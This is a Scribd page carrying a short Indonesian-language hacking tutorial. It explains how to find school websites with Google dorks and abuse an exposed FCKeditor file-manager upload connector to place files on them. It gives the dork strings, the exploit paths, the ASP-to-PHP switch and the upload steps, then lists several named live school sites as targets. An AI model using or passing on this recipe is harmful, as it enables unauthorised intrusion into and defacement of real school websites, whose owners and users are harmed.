Scribd Logo
Upload

Welcome to Scribd!

  • Hacker

    Uploaded by

    Jamal Doank
    352 views2 pages
    The document provides instructions for exploiting vulnerabilities in school websites to upload malicious files. It includes steps to find vulnerable sites using Dorks, use an exploit to access the file manager, replace ASP with PHP, browse and upload a prepared text file, and lists some potential target URLs.

    Original Description:

    Copyright

    © Attribution Non-Commercial (BY-NC)

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    The document provides instructions for exploiting vulnerabilities in school websites to upload malicious files. It includes steps to find vulnerable sites using Dorks, use an exploit to access the file manager, replace ASP with PHP, browse and upload a prepared text file, and lists some potential target URLs.

    Copyright:

    Attribution Non-Commercial (BY-NC)
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    352 views2 pages

    Hacker

    Uploaded by

    Jamal Doank
    The document provides instructions for exploiting vulnerabilities in school websites to upload malicious files. It includes steps to find vulnerable sites using Dorks, use an exploit to access the file manager, replace ASP with PHP, browse and upload a prepared text file, and lists some potential target URLs.

    Copyright:

    Attribution Non-Commercial (BY-NC)
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    of 2

    Maaf Kalo Gambarnya kagak nyambung.Kita Awali dengan Niat yang baik.

    1. Siapkan file txt di desain yah..:D.

    2. Dork: inurl:/html/siswa.php? inurl:/html/alumni.php? inurl:/html/guru.php? 3. Exploit: /editor/filemanager/connectors/test.html /editor/filemanager/connectors/uploadtest.html

    *Pakai salah satu Exploitnya*

    EX: http://xxx.sch.id/html/siswa.php http://xxx.sch.id/html/almni.php http://xxx.sch.id/html/guru.php *Sesuai Dork. Ganti jadi: http://xxxx.sch.id/editor/filemanager/connectors/uploadtest.html 4. Ganti ASP jadi PHP. 5. Browse file txt yang sudah disiapkan -> open -> upload. 6. Hasilnya: http://xxx.sch.id/userfiles/file/nama-file.txt live target : http://sdia20.sch.id/simk/atk/attributes/fck/editor/filemanager/connectors/test. html http://www.e-learning.smpbatikska.sch.id/editor/filemanager/connectors/test.html

    http://sman1kotabaru.sch.id/editor/filemanager/connectors/test.html http://smansa-pringsewu.sch.id/editor/filemanager/connectors/test.html http://www.smkn1kuta.sch.id/editor/filemanager/connectors/test.html http://smp1ponjong.sch.id/editor/filemanager/connectors/test.html

    You might also like